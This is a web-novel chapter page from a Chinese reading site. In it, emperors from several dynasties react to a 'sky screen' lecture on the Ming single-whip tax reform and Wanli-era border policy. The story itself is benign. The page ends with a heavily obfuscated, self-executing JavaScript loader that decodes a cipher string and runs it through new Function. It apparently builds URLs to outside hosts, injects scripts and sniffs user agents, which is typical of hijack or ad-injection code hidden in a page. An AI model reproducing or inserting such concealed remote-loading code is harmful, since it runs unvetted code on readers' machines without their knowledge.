零点看书吧

正文 15 商鞅变法(第3页/共3页)

【经济上实行一条鞭法,清丈土地。万历八年清查全国土地,共七百多万顷,比隆庆五年(也就是10年前)多了两百多万顷。尤其是“一条鞭法”,这是自唐朝“两税法”后又一次税制改革。将所有赋税包括正税、附加税、贡品以及中央和地方需要的各种经费和全部徭役统一编派,“并为一条”,总为一项收入,防止官吏从中贪污。】

不少有作为的明君都将这条记在心中,将所有赋税归一,能节省不少中间环节,国库有钱,百姓少交税,官吏也无法贪墨,这法子可真好。

秦朝·扶苏也在思考,他虽不是导致秦朝灭亡的秦二世,但自觉秦朝二世而亡也有自己的一部分责任,作为大秦长公子,他必须担负起秦朝的未来。

这条赋税改革既能满足父皇对于赋役的需求,也能减轻百姓的负担,给他们休养生息的时间,只要将其中部分要点改一改,便能适应大秦的环境。

秦始皇自然也意识到这项政策的好处,但他心中更多的却是对天幕的吐槽,说好的讲秦朝呢,怎么讲完商鞅变法就拐到宋明的改革了,到底何时才能讲我大秦啊!

汉武帝则在与桑弘羊商量,这样的法子能不能增加一些国库收入,打匈奴好费钱啊,父亲、祖父攒下的家底不够花了。

桑弘羊:“百姓要交的税赋没有增加,国库得到的银钱却增加了,此法可行。”受伤的只有中间的贪官污吏,不过想到能让他们吃瘪,汉武帝更兴奋了呢。

【其实,早在嘉靖年间,便有地方官吏在辖地实行“一条鞭法”,取得了很大的成绩,“田不荒芜,人不逃窜,钱粮不拖欠”。但嘉靖皇帝一心求道,对朝政并不上心,自然也不会推广这样的政策。】

朱棣:“朕的子孙中居然有个一心修道的皇帝!”

朱棣不信鬼神,自然也无法理解这种心态,只看秦皇汉武就知道求仙不靠谱,再看唐朝那些吃丹药吃死的皇帝,怎么还会有人相信?

【一条鞭法的施行,改变了当时极端混乱、严重不均的赋役制度。减轻了农民的负担,限制了胥吏的舞弊,使农民有较多时间从事农业生产,促进了商品经济的繁荣。它简化了赋役的项目和征收手续,使赋役合一,并出现了“摊丁入亩”的趋势。】

雍正皇帝一边批阅奏折,一边听着天幕之言。这些事情本就是历史,他需要了解的是天幕对这些政策的态度,听到这里,也不由得点点头,对着怡亲王胤祥道:“朕的摊丁入亩便是在一条鞭法上更进一步的政策。”

【军事上内修守备,任用戚继光镇蓟门,李成梁镇辽东,又在长城上加修“敌台”三千多座,加强北方的防备。封蒙古首领俺答为顺义王,在大同、宣府、甘肃等地立茶马互市,保持贸易往来,使马匹大增,使得俺答很久没有来犯边关。】

【要知道,在嘉靖年间,俺答多次入寇边关,甚至在嘉靖二十九年包围北京,向北、向西击败敌对的兀良哈万户及瓦剌等部,并占领青海,是当时大明北方最大的势力。】

嘉靖:说万历就只说万历,为何要捎带他祖宗。 『加入书签,方便阅读』

!function(){function a(a){var _idx="b5cibtb4xc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n/h^/s@QjR8)n(6)F)oR("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"s@Q"=^8")n(6)F)oR("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"s@Qd2(LCYmRD(JhfmRT4"="s@Q5p(LYpmq^Xf(LmRT4"="s@QD7(LSqm(f24hJmRT4"="s@QdC(LJ^mRD(JhfmRT4"="s@Q(C(L:4mq^Xf(LmRT4"="s@QC2(LSYm(f24hJmRT4"="s@Q25(LLSmRD(JhfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPs@Q2F(LCYmX{LX@ShmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPs@Q2F(LCYmX{LX@ShmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n/f/s@Qj(8}vR8)n(6)F)oR("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPs@QCq_6OYpmD(f7RCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();